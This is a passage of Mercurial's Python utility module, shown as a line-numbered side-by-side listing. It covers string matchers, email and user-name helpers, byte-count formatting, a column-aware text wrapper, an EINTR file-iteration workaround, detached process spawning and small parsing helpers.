2200 start, stop = lower(a), upper(b)
2202 start, stop = lower(a), upper(b)
2201 return lambda x: x >= start and x <= stop
2203 return lambda x: x >= start and x <= stop
2202 else:
2204 else:
2203 start, stop = lower(date), upper(date)
2205 start, stop = lower(date), upper(date)
2204 return lambda x: x >= start and x <= stop
2206 return lambda x: x >= start and x <= stop
2205
2207
2206 def stringmatcher(pattern, casesensitive=True):
2208 def stringmatcher(pattern, casesensitive=True):
2207 """
2209 """
2208 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2210 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2209 returns the matcher name, pattern, and matcher function.
2211 returns the matcher name, pattern, and matcher function.
2210 missing or unknown prefixes are treated as literal matches.
2212 missing or unknown prefixes are treated as literal matches.
2211
2213
2212 helper for tests:
2214 helper for tests:
2213 >>> def test(pattern, *tests):
2215 >>> def test(pattern, *tests):
2214 ... kind, pattern, matcher = stringmatcher(pattern)
2216 ... kind, pattern, matcher = stringmatcher(pattern)
2215 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2217 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2216 >>> def itest(pattern, *tests):
2218 >>> def itest(pattern, *tests):
2217 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2219 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2218 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2220 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2219
2221
2220 exact matching (no prefix):
2222 exact matching (no prefix):
2221 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2223 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2222 ('literal', 'abcdefg', [False, False, True])
2224 ('literal', 'abcdefg', [False, False, True])
2223
2225
2224 regex matching ('re:' prefix)
2226 regex matching ('re:' prefix)
2225 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2227 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2226 ('re', 'a.+b', [False, False, True])
2228 ('re', 'a.+b', [False, False, True])
2227
2229
2228 force exact matches ('literal:' prefix)
2230 force exact matches ('literal:' prefix)
2229 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2231 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2230 ('literal', 're:foobar', [False, True])
2232 ('literal', 're:foobar', [False, True])
2231
2233
2232 unknown prefixes are ignored and treated as literals
2234 unknown prefixes are ignored and treated as literals
2233 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2235 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2234 ('literal', 'foo:bar', [False, False, True])
2236 ('literal', 'foo:bar', [False, False, True])
2235
2237
2236 case insensitive regex matches
2238 case insensitive regex matches
2237 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2239 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2238 ('re', 'A.+b', [False, False, True])
2240 ('re', 'A.+b', [False, False, True])
2239
2241
2240 case insensitive literal matches
2242 case insensitive literal matches
2241 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2243 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2242 ('literal', 'ABCDEFG', [False, False, True])
2244 ('literal', 'ABCDEFG', [False, False, True])
2243 """
2245 """
2244 if pattern.startswith('re:'):
2246 if pattern.startswith('re:'):
2245 pattern = pattern[3:]
2247 pattern = pattern[3:]
2246 try:
2248 try:
2247 flags = 0
2249 flags = 0
2248 if not casesensitive:
2250 if not casesensitive:
2249 flags = remod.I
2251 flags = remod.I
2250 regex = remod.compile(pattern, flags)
2252 regex = remod.compile(pattern, flags)
2251 except remod.error as e:
2253 except remod.error as e:
2252 raise error.ParseError(_('invalid regular expression: %s')
2254 raise error.ParseError(_('invalid regular expression: %s')
2253 % e)
2255 % e)
2254 return 're', pattern, regex.search
2256 return 're', pattern, regex.search
2255 elif pattern.startswith('literal:'):
2257 elif pattern.startswith('literal:'):
2256 pattern = pattern[8:]
2258 pattern = pattern[8:]
2257
2259
2258 match = pattern.__eq__
2260 match = pattern.__eq__
2259
2261
2260 if not casesensitive:
2262 if not casesensitive:
2261 ipat = encoding.lower(pattern)
2263 ipat = encoding.lower(pattern)
2262 match = lambda s: ipat == encoding.lower(s)
2264 match = lambda s: ipat == encoding.lower(s)
2263 return 'literal', pattern, match
2265 return 'literal', pattern, match
2264
2266
2265 def shortuser(user):
2267 def shortuser(user):
2266 """Return a short representation of a user name or email address."""
2268 """Return a short representation of a user name or email address."""
2267 f = user.find('@')
2269 f = user.find('@')
2268 if f >= 0:
2270 if f >= 0:
2269 user = user[:f]
2271 user = user[:f]
2270 f = user.find('<')
2272 f = user.find('<')
2271 if f >= 0:
2273 if f >= 0:
2272 user = user[f + 1:]
2274 user = user[f + 1:]
2273 f = user.find(' ')
2275 f = user.find(' ')
2274 if f >= 0:
2276 if f >= 0:
2275 user = user[:f]
2277 user = user[:f]
2276 f = user.find('.')
2278 f = user.find('.')
2277 if f >= 0:
2279 if f >= 0:
2278 user = user[:f]
2280 user = user[:f]
2279 return user
2281 return user
2280
2282
2281 def emailuser(user):
2283 def emailuser(user):
2282 """Return the user portion of an email address."""
2284 """Return the user portion of an email address."""
2283 f = user.find('@')
2285 f = user.find('@')
2284 if f >= 0:
2286 if f >= 0:
2285 user = user[:f]
2287 user = user[:f]
2286 f = user.find('<')
2288 f = user.find('<')
2287 if f >= 0:
2289 if f >= 0:
2288 user = user[f + 1:]
2290 user = user[f + 1:]
2289 return user
2291 return user
2290
2292
2291 def email(author):
2293 def email(author):
2292 '''get email of author.'''
2294 '''get email of author.'''
2293 r = author.find('>')
2295 r = author.find('>')
2294 if r == -1:
2296 if r == -1:
2295 r = None
2297 r = None
2296 return author[author.find('<') + 1:r]
2298 return author[author.find('<') + 1:r]
2297
2299
2298 def ellipsis(text, maxlength=400):
2300 def ellipsis(text, maxlength=400):
2299 """Trim string to at most maxlength (default: 400) columns in display."""
2301 """Trim string to at most maxlength (default: 400) columns in display."""
2300 return encoding.trim(text, maxlength, ellipsis='...')
2302 return encoding.trim(text, maxlength, ellipsis='...')
2301
2303
2302 def unitcountfn(*unittable):
2304 def unitcountfn(*unittable):
2303 '''return a function that renders a readable count of some quantity'''
2305 '''return a function that renders a readable count of some quantity'''
2304
2306
2305 def go(count):
2307 def go(count):
2306 for multiplier, divisor, format in unittable:
2308 for multiplier, divisor, format in unittable:
2307 if abs(count) >= divisor * multiplier:
2309 if abs(count) >= divisor * multiplier:
2308 return format % (count / float(divisor))
2310 return format % (count / float(divisor))
2309 return unittable[-1][2] % count
2311 return unittable[-1][2] % count
2310
2312
2311 return go
2313 return go
2312
2314
2313 def processlinerange(fromline, toline):
2315 def processlinerange(fromline, toline):
2314 """Check that linerange <fromline>:<toline> makes sense and return a
2316 """Check that linerange <fromline>:<toline> makes sense and return a
2315 0-based range.
2317 0-based range.
2316
2318
2317 >>> processlinerange(10, 20)
2319 >>> processlinerange(10, 20)
2318 (9, 20)
2320 (9, 20)
2319 >>> processlinerange(2, 1)
2321 >>> processlinerange(2, 1)
2320 Traceback (most recent call last):
2322 Traceback (most recent call last):
2321 ...
2323 ...
2322 ParseError: line range must be positive
2324 ParseError: line range must be positive
2323 >>> processlinerange(0, 5)
2325 >>> processlinerange(0, 5)
2324 Traceback (most recent call last):
2326 Traceback (most recent call last):
2325 ...
2327 ...
2326 ParseError: fromline must be strictly positive
2328 ParseError: fromline must be strictly positive
2327 """
2329 """
2328 if toline - fromline < 0:
2330 if toline - fromline < 0:
2329 raise error.ParseError(_("line range must be positive"))
2331 raise error.ParseError(_("line range must be positive"))
2330 if fromline < 1:
2332 if fromline < 1:
2331 raise error.ParseError(_("fromline must be strictly positive"))
2333 raise error.ParseError(_("fromline must be strictly positive"))
2332 return fromline - 1, toline
2334 return fromline - 1, toline
2333
2335
2334 bytecount = unitcountfn(
2336 bytecount = unitcountfn(
2335 (100, 1 << 30, _('%.0f GB')),
2337 (100, 1 << 30, _('%.0f GB')),
2336 (10, 1 << 30, _('%.1f GB')),
2338 (10, 1 << 30, _('%.1f GB')),
2337 (1, 1 << 30, _('%.2f GB')),
2339 (1, 1 << 30, _('%.2f GB')),
2338 (100, 1 << 20, _('%.0f MB')),
2340 (100, 1 << 20, _('%.0f MB')),
2339 (10, 1 << 20, _('%.1f MB')),
2341 (10, 1 << 20, _('%.1f MB')),
2340 (1, 1 << 20, _('%.2f MB')),
2342 (1, 1 << 20, _('%.2f MB')),
2341 (100, 1 << 10, _('%.0f KB')),
2343 (100, 1 << 10, _('%.0f KB')),
2342 (10, 1 << 10, _('%.1f KB')),
2344 (10, 1 << 10, _('%.1f KB')),
2343 (1, 1 << 10, _('%.2f KB')),
2345 (1, 1 << 10, _('%.2f KB')),
2344 (1, 1, _('%.0f bytes')),
2346 (1, 1, _('%.0f bytes')),
2345 )
2347 )
2346
2348
2347 # Matches a single EOL which can either be a CRLF where repeated CR
2349 # Matches a single EOL which can either be a CRLF where repeated CR
2348 # are removed or a LF. We do not care about old Macintosh files, so a
2350 # are removed or a LF. We do not care about old Macintosh files, so a
2349 # stray CR is an error.
2351 # stray CR is an error.
2350 _eolre = remod.compile(br'\r*\n')
2352 _eolre = remod.compile(br'\r*\n')
2351
2353
2352 def tolf(s):
2354 def tolf(s):
2353 return _eolre.sub('\n', s)
2355 return _eolre.sub('\n', s)
2354
2356
2355 def tocrlf(s):
2357 def tocrlf(s):
2356 return _eolre.sub('\r\n', s)
2358 return _eolre.sub('\r\n', s)
2357
2359
2358 if pycompat.oslinesep == '\r\n':
2360 if pycompat.oslinesep == '\r\n':
2359 tonativeeol = tocrlf
2361 tonativeeol = tocrlf
2360 fromnativeeol = tolf
2362 fromnativeeol = tolf
2361 else:
2363 else:
2362 tonativeeol = pycompat.identity
2364 tonativeeol = pycompat.identity
2363 fromnativeeol = pycompat.identity
2365 fromnativeeol = pycompat.identity
2364
2366
2365 def escapestr(s):
2367 def escapestr(s):
2366 # call underlying function of s.encode('string_escape') directly for
2368 # call underlying function of s.encode('string_escape') directly for
2367 # Python 3 compatibility
2369 # Python 3 compatibility
2368 return codecs.escape_encode(s)[0]
2370 return codecs.escape_encode(s)[0]
2369
2371
2370 def unescapestr(s):
2372 def unescapestr(s):
2371 return codecs.escape_decode(s)[0]
2373 return codecs.escape_decode(s)[0]
2372
2374
2373 def forcebytestr(obj):
2375 def forcebytestr(obj):
2374 """Portably format an arbitrary object (e.g. exception) into a byte
2376 """Portably format an arbitrary object (e.g. exception) into a byte
2375 string."""
2377 string."""
2376 try:
2378 try:
2377 return pycompat.bytestr(obj)
2379 return pycompat.bytestr(obj)
2378 except UnicodeEncodeError:
2380 except UnicodeEncodeError:
2379 # non-ascii string, may be lossy
2381 # non-ascii string, may be lossy
2380 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2382 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2381
2383
2382 def uirepr(s):
2384 def uirepr(s):
2383 # Avoid double backslash in Windows path repr()
2385 # Avoid double backslash in Windows path repr()
2384 return repr(s).replace('\\\\', '\\')
2386 return repr(s).replace('\\\\', '\\')
2385
2387
2386 # delay import of textwrap
2388 # delay import of textwrap
2387 def MBTextWrapper(**kwargs):
2389 def MBTextWrapper(**kwargs):
2388 class tw(textwrap.TextWrapper):
2390 class tw(textwrap.TextWrapper):
2389 """
2391 """
2390 Extend TextWrapper for width-awareness.
2392 Extend TextWrapper for width-awareness.
2391
2393
2392 Neither number of 'bytes' in any encoding nor 'characters' is
2394 Neither number of 'bytes' in any encoding nor 'characters' is
2393 appropriate to calculate terminal columns for specified string.
2395 appropriate to calculate terminal columns for specified string.
2394
2396
2395 Original TextWrapper implementation uses built-in 'len()' directly,
2397 Original TextWrapper implementation uses built-in 'len()' directly,
2396 so overriding is needed to use width information of each characters.
2398 so overriding is needed to use width information of each characters.
2397
2399
2398 In addition, characters classified into 'ambiguous' width are
2400 In addition, characters classified into 'ambiguous' width are
2399 treated as wide in East Asian area, but as narrow in other.
2401 treated as wide in East Asian area, but as narrow in other.
2400
2402
2401 This requires use decision to determine width of such characters.
2403 This requires use decision to determine width of such characters.
2402 """
2404 """
2403 def _cutdown(self, ucstr, space_left):
2405 def _cutdown(self, ucstr, space_left):
2404 l = 0
2406 l = 0
2405 colwidth = encoding.ucolwidth
2407 colwidth = encoding.ucolwidth
2406 for i in xrange(len(ucstr)):
2408 for i in xrange(len(ucstr)):
2407 l += colwidth(ucstr[i])
2409 l += colwidth(ucstr[i])
2408 if space_left < l:
2410 if space_left < l:
2409 return (ucstr[:i], ucstr[i:])
2411 return (ucstr[:i], ucstr[i:])
2410 return ucstr, ''
2412 return ucstr, ''
2411
2413
2412 # overriding of base class
2414 # overriding of base class
2413 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2415 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2414 space_left = max(width - cur_len, 1)
2416 space_left = max(width - cur_len, 1)
2415
2417
2416 if self.break_long_words:
2418 if self.break_long_words:
2417 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2419 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2418 cur_line.append(cut)
2420 cur_line.append(cut)
2419 reversed_chunks[-1] = res
2421 reversed_chunks[-1] = res
2420 elif not cur_line:
2422 elif not cur_line:
2421 cur_line.append(reversed_chunks.pop())
2423 cur_line.append(reversed_chunks.pop())
2422
2424
2423 # this overriding code is imported from TextWrapper of Python 2.6
2425 # this overriding code is imported from TextWrapper of Python 2.6
2424 # to calculate columns of string by 'encoding.ucolwidth()'
2426 # to calculate columns of string by 'encoding.ucolwidth()'
2425 def _wrap_chunks(self, chunks):
2427 def _wrap_chunks(self, chunks):
2426 colwidth = encoding.ucolwidth
2428 colwidth = encoding.ucolwidth
2427
2429
2428 lines = []
2430 lines = []
2429 if self.width <= 0:
2431 if self.width <= 0:
2430 raise ValueError("invalid width %r (must be > 0)" % self.width)
2432 raise ValueError("invalid width %r (must be > 0)" % self.width)
2431
2433
2432 # Arrange in reverse order so items can be efficiently popped
2434 # Arrange in reverse order so items can be efficiently popped
2433 # from a stack of chucks.
2435 # from a stack of chucks.
2434 chunks.reverse()
2436 chunks.reverse()
2435
2437
2436 while chunks:
2438 while chunks:
2437
2439
2438 # Start the list of chunks that will make up the current line.
2440 # Start the list of chunks that will make up the current line.
2439 # cur_len is just the length of all the chunks in cur_line.
2441 # cur_len is just the length of all the chunks in cur_line.
2440 cur_line = []
2442 cur_line = []
2441 cur_len = 0
2443 cur_len = 0
2442
2444
2443 # Figure out which static string will prefix this line.
2445 # Figure out which static string will prefix this line.
2444 if lines:
2446 if lines:
2445 indent = self.subsequent_indent
2447 indent = self.subsequent_indent
2446 else:
2448 else:
2447 indent = self.initial_indent
2449 indent = self.initial_indent
2448
2450
2449 # Maximum width for this line.
2451 # Maximum width for this line.
2450 width = self.width - len(indent)
2452 width = self.width - len(indent)
2451
2453
2452 # First chunk on line is whitespace -- drop it, unless this
2454 # First chunk on line is whitespace -- drop it, unless this
2453 # is the very beginning of the text (i.e. no lines started yet).
2455 # is the very beginning of the text (i.e. no lines started yet).
2454 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2456 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2455 del chunks[-1]
2457 del chunks[-1]
2456
2458
2457 while chunks:
2459 while chunks:
2458 l = colwidth(chunks[-1])
2460 l = colwidth(chunks[-1])
2459
2461
2460 # Can at least squeeze this chunk onto the current line.
2462 # Can at least squeeze this chunk onto the current line.
2461 if cur_len + l <= width:
2463 if cur_len + l <= width:
2462 cur_line.append(chunks.pop())
2464 cur_line.append(chunks.pop())
2463 cur_len += l
2465 cur_len += l
2464
2466
2465 # Nope, this line is full.
2467 # Nope, this line is full.
2466 else:
2468 else:
2467 break
2469 break
2468
2470
2469 # The current line is full, and the next chunk is too big to
2471 # The current line is full, and the next chunk is too big to
2470 # fit on *any* line (not just this one).
2472 # fit on *any* line (not just this one).
2471 if chunks and colwidth(chunks[-1]) > width:
2473 if chunks and colwidth(chunks[-1]) > width:
2472 self._handle_long_word(chunks, cur_line, cur_len, width)
2474 self._handle_long_word(chunks, cur_line, cur_len, width)
2473
2475
2474 # If the last chunk on this line is all whitespace, drop it.
2476 # If the last chunk on this line is all whitespace, drop it.
2475 if (self.drop_whitespace and
2477 if (self.drop_whitespace and
2476 cur_line and cur_line[-1].strip() == r''):
2478 cur_line and cur_line[-1].strip() == r''):
2477 del cur_line[-1]
2479 del cur_line[-1]
2478
2480
2479 # Convert current line back to a string and store it in list
2481 # Convert current line back to a string and store it in list
2480 # of all lines (return value).
2482 # of all lines (return value).
2481 if cur_line:
2483 if cur_line:
2482 lines.append(indent + r''.join(cur_line))
2484 lines.append(indent + r''.join(cur_line))
2483
2485
2484 return lines
2486 return lines
2485
2487
2486 global MBTextWrapper
2488 global MBTextWrapper
2487 MBTextWrapper = tw
2489 MBTextWrapper = tw
2488 return tw(**kwargs)
2490 return tw(**kwargs)
2489
2491
2490 def wrap(line, width, initindent='', hangindent=''):
2492 def wrap(line, width, initindent='', hangindent=''):
2491 maxindent = max(len(hangindent), len(initindent))
2493 maxindent = max(len(hangindent), len(initindent))
2492 if width <= maxindent:
2494 if width <= maxindent:
2493 # adjust for weird terminal size
2495 # adjust for weird terminal size
2494 width = max(78, maxindent + 1)
2496 width = max(78, maxindent + 1)
2495 line = line.decode(pycompat.sysstr(encoding.encoding),
2497 line = line.decode(pycompat.sysstr(encoding.encoding),
2496 pycompat.sysstr(encoding.encodingmode))
2498 pycompat.sysstr(encoding.encodingmode))
2497 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2499 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2498 pycompat.sysstr(encoding.encodingmode))
2500 pycompat.sysstr(encoding.encodingmode))
2499 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2501 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2500 pycompat.sysstr(encoding.encodingmode))
2502 pycompat.sysstr(encoding.encodingmode))
2501 wrapper = MBTextWrapper(width=width,
2503 wrapper = MBTextWrapper(width=width,
2502 initial_indent=initindent,
2504 initial_indent=initindent,
2503 subsequent_indent=hangindent)
2505 subsequent_indent=hangindent)
2504 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2506 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2505
2507
2506 if (pyplatform.python_implementation() == 'CPython' and
2508 if (pyplatform.python_implementation() == 'CPython' and
2507 sys.version_info < (3, 0)):
2509 sys.version_info < (3, 0)):
2508 # There is an issue in CPython that some IO methods do not handle EINTR
2510 # There is an issue in CPython that some IO methods do not handle EINTR
2509 # correctly. The following table shows what CPython version (and functions)
2511 # correctly. The following table shows what CPython version (and functions)
2510 # are affected (buggy: has the EINTR bug, okay: otherwise):
2512 # are affected (buggy: has the EINTR bug, okay: otherwise):
2511 #
2513 #
2512 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2514 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2513 # --------------------------------------------------
2515 # --------------------------------------------------
2514 # fp.__iter__ | buggy | buggy | okay
2516 # fp.__iter__ | buggy | buggy | okay
2515 # fp.read* | buggy | okay [1] | okay
2517 # fp.read* | buggy | okay [1] | okay
2516 #
2518 #
2517 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2519 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2518 #
2520 #
2519 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2521 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2520 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2522 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2521 #
2523 #
2522 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2524 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2523 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2525 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2524 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2526 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2525 # fp.__iter__ but not other fp.read* methods.
2527 # fp.__iter__ but not other fp.read* methods.
2526 #
2528 #
2527 # On modern systems like Linux, the "read" syscall cannot be interrupted
2529 # On modern systems like Linux, the "read" syscall cannot be interrupted
2528 # when reading "fast" files like on-disk files. So the EINTR issue only
2530 # when reading "fast" files like on-disk files. So the EINTR issue only
2529 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2531 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2530 # files approximately as "fast" files and use the fast (unsafe) code path,
2532 # files approximately as "fast" files and use the fast (unsafe) code path,
2531 # to minimize the performance impact.
2533 # to minimize the performance impact.
2532 if sys.version_info >= (2, 7, 4):
2534 if sys.version_info >= (2, 7, 4):
2533 # fp.readline deals with EINTR correctly, use it as a workaround.
2535 # fp.readline deals with EINTR correctly, use it as a workaround.
2534 def _safeiterfile(fp):
2536 def _safeiterfile(fp):
2535 return iter(fp.readline, '')
2537 return iter(fp.readline, '')
2536 else:
2538 else:
2537 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2539 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2538 # note: this may block longer than necessary because of bufsize.
2540 # note: this may block longer than necessary because of bufsize.
2539 def _safeiterfile(fp, bufsize=4096):
2541 def _safeiterfile(fp, bufsize=4096):
2540 fd = fp.fileno()
2542 fd = fp.fileno()
2541 line = ''
2543 line = ''
2542 while True:
2544 while True:
2543 try:
2545 try:
2544 buf = os.read(fd, bufsize)
2546 buf = os.read(fd, bufsize)
2545 except OSError as ex:
2547 except OSError as ex:
2546 # os.read only raises EINTR before any data is read
2548 # os.read only raises EINTR before any data is read
2547 if ex.errno == errno.EINTR:
2549 if ex.errno == errno.EINTR:
2548 continue
2550 continue
2549 else:
2551 else:
2550 raise
2552 raise
2551 line += buf
2553 line += buf
2552 if '\n' in buf:
2554 if '\n' in buf:
2553 splitted = line.splitlines(True)
2555 splitted = line.splitlines(True)
2554 line = ''
2556 line = ''
2555 for l in splitted:
2557 for l in splitted:
2556 if l[-1] == '\n':
2558 if l[-1] == '\n':
2557 yield l
2559 yield l
2558 else:
2560 else:
2559 line = l
2561 line = l
2560 if not buf:
2562 if not buf:
2561 break
2563 break
2562 if line:
2564 if line:
2563 yield line
2565 yield line
2564
2566
2565 def iterfile(fp):
2567 def iterfile(fp):
2566 fastpath = True
2568 fastpath = True
2567 if type(fp) is file:
2569 if type(fp) is file:
2568 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2570 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2569 if fastpath:
2571 if fastpath:
2570 return fp
2572 return fp
2571 else:
2573 else:
2572 return _safeiterfile(fp)
2574 return _safeiterfile(fp)
2573 else:
2575 else:
2574 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2576 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2575 def iterfile(fp):
2577 def iterfile(fp):
2576 return fp
2578 return fp
2577
2579
2578 def iterlines(iterator):
2580 def iterlines(iterator):
2579 for chunk in iterator:
2581 for chunk in iterator:
2580 for line in chunk.splitlines():
2582 for line in chunk.splitlines():
2581 yield line
2583 yield line
2582
2584
2583 def expandpath(path):
2585 def expandpath(path):
2584 return os.path.expanduser(os.path.expandvars(path))
2586 return os.path.expanduser(os.path.expandvars(path))
2585
2587
2586 def hgcmd():
2588 def hgcmd():
2587 """Return the command used to execute current hg
2589 """Return the command used to execute current hg
2588
2590
2589 This is different from hgexecutable() because on Windows we want
2591 This is different from hgexecutable() because on Windows we want
2590 to avoid things opening new shell windows like batch files, so we
2592 to avoid things opening new shell windows like batch files, so we
2591 get either the python call or current executable.
2593 get either the python call or current executable.
2592 """
2594 """
2593 if mainfrozen():
2595 if mainfrozen():
2594 if getattr(sys, 'frozen', None) == 'macosx_app':
2596 if getattr(sys, 'frozen', None) == 'macosx_app':
2595 # Env variable set by py2app
2597 # Env variable set by py2app
2596 return [encoding.environ['EXECUTABLEPATH']]
2598 return [encoding.environ['EXECUTABLEPATH']]
2597 else:
2599 else:
2598 return [pycompat.sysexecutable]
2600 return [pycompat.sysexecutable]
2599 return gethgcmd()
2601 return gethgcmd()
2600
2602
2601 def rundetached(args, condfn):
2603 def rundetached(args, condfn):
2602 """Execute the argument list in a detached process.
2604 """Execute the argument list in a detached process.
2603
2605
2604 condfn is a callable which is called repeatedly and should return
2606 condfn is a callable which is called repeatedly and should return
2605 True once the child process is known to have started successfully.
2607 True once the child process is known to have started successfully.
2606 At this point, the child process PID is returned. If the child
2608 At this point, the child process PID is returned. If the child
2607 process fails to start or finishes before condfn() evaluates to
2609 process fails to start or finishes before condfn() evaluates to
2608 True, return -1.
2610 True, return -1.
2609 """
2611 """
2610 # Windows case is easier because the child process is either
2612 # Windows case is easier because the child process is either
2611 # successfully starting and validating the condition or exiting
2613 # successfully starting and validating the condition or exiting
2612 # on failure. We just poll on its PID. On Unix, if the child
2614 # on failure. We just poll on its PID. On Unix, if the child
2613 # process fails to start, it will be left in a zombie state until
2615 # process fails to start, it will be left in a zombie state until
2614 # the parent wait on it, which we cannot do since we expect a long
2616 # the parent wait on it, which we cannot do since we expect a long
2615 # running process on success. Instead we listen for SIGCHLD telling
2617 # running process on success. Instead we listen for SIGCHLD telling
2616 # us our child process terminated.
2618 # us our child process terminated.
2617 terminated = set()
2619 terminated = set()
2618 def handler(signum, frame):
2620 def handler(signum, frame):
2619 terminated.add(os.wait())
2621 terminated.add(os.wait())
2620 prevhandler = None
2622 prevhandler = None
2621 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2623 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2622 if SIGCHLD is not None:
2624 if SIGCHLD is not None:
2623 prevhandler = signal.signal(SIGCHLD, handler)
2625 prevhandler = signal.signal(SIGCHLD, handler)
2624 try:
2626 try:
2625 pid = spawndetached(args)
2627 pid = spawndetached(args)
2626 while not condfn():
2628 while not condfn():
2627 if ((pid in terminated or not testpid(pid))
2629 if ((pid in terminated or not testpid(pid))
2628 and not condfn()):
2630 and not condfn()):
2629 return -1
2631 return -1
2630 time.sleep(0.1)
2632 time.sleep(0.1)
2631 return pid
2633 return pid
2632 finally:
2634 finally:
2633 if prevhandler is not None:
2635 if prevhandler is not None:
2634 signal.signal(signal.SIGCHLD, prevhandler)
2636 signal.signal(signal.SIGCHLD, prevhandler)
2635
2637
2636 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2638 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2637 """Return the result of interpolating items in the mapping into string s.
2639 """Return the result of interpolating items in the mapping into string s.
2638
2640
2639 prefix is a single character string, or a two character string with
2641 prefix is a single character string, or a two character string with
2640 a backslash as the first character if the prefix needs to be escaped in
2642 a backslash as the first character if the prefix needs to be escaped in
2641 a regular expression.
2643 a regular expression.
2642
2644
2643 fn is an optional function that will be applied to the replacement text
2645 fn is an optional function that will be applied to the replacement text
2644 just before replacement.
2646 just before replacement.
2645
2647
2646 escape_prefix is an optional flag that allows using doubled prefix for
2648 escape_prefix is an optional flag that allows using doubled prefix for
2647 its escaping.
2649 its escaping.
2648 """
2650 """
2649 fn = fn or (lambda s: s)
2651 fn = fn or (lambda s: s)
2650 patterns = '|'.join(mapping.keys())
2652 patterns = '|'.join(mapping.keys())
2651 if escape_prefix:
2653 if escape_prefix:
2652 patterns += '|' + prefix
2654 patterns += '|' + prefix
2653 if len(prefix) > 1:
2655 if len(prefix) > 1:
2654 prefix_char = prefix[1:]
2656 prefix_char = prefix[1:]
2655 else:
2657 else:
2656 prefix_char = prefix
2658 prefix_char = prefix
2657 mapping[prefix_char] = prefix_char
2659 mapping[prefix_char] = prefix_char
2658 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2660 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2659 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2661 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2660
2662
2661 def getport(port):
2663 def getport(port):
2662 """Return the port for a given network service.
2664 """Return the port for a given network service.
2663
2665
2664 If port is an integer, it's returned as is. If it's a string, it's
2666 If port is an integer, it's returned as is. If it's a string, it's
2665 looked up using socket.getservbyname(). If there's no matching
2667 looked up using socket.getservbyname(). If there's no matching
2666 service, error.Abort is raised.
2668 service, error.Abort is raised.
2667 """
2669 """
2668 try:
2670 try:
2669 return int(port)
2671 return int(port)
2670 except ValueError:
2672 except ValueError:
2671 pass
2673 pass
2672
2674
2673 try:
2675 try:
2674 return socket.getservbyname(port)
2676 return socket.getservbyname(port)
2675 except socket.error:
2677 except socket.error:
2676 raise Abort(_("no port number associated with service '%s'") % port)
2678 raise Abort(_("no port number associated with service '%s'") % port)
2677
2679
2678 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2680 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2679 '0': False, 'no': False, 'false': False, 'off': False,
2681 '0': False, 'no': False, 'false': False, 'off': False,
2680 'never': False}
2682 'never': False}
2681
2683
2682 def parsebool(s):
2684 def parsebool(s):
2683 """Parse s into a boolean.
2685 """Parse s into a boolean.
2684
2686
2685 If s is not a valid boolean, returns None.
2687 If s is not a valid boolean, returns None.
2686 """
2688 """
2687 return _booleans.get(s.lower(), None)
2689 return _booleans.get(s.lower(), None)
2688
2690
2689 _hextochr = dict((a + b, chr(int(a + b, 16)))
